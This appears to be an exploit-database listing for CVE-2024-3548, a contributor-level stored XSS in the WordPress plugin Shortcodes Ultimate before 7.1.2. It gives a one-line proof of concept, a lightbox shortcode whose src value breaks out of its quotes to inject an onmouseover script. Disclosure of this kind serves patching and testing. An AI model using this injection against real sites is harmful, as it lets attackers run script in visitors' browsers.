Exploit for Shortcodes Ultimate < 7.1.2 - Contributor+ Stored XSS CVE-2024-3548

Name: Exploit for Shortcodes Ultimate < 7.1.2 - Contributor+ Stored XSS CVE-2024-3548
Rating: 5 (76 reviews)

2024-04-24 | CVSS 6.0

## https://sploitus.com/exploit?id=WPEX-ID:9EEF8B29-2C62-4DAA-AE90-467FF9BE18D8
Add the following shortcode to a post:

`[su_lightbox src='123"onmouseover="alert(1)"']Click here to open lightbox[/su_lightbox]`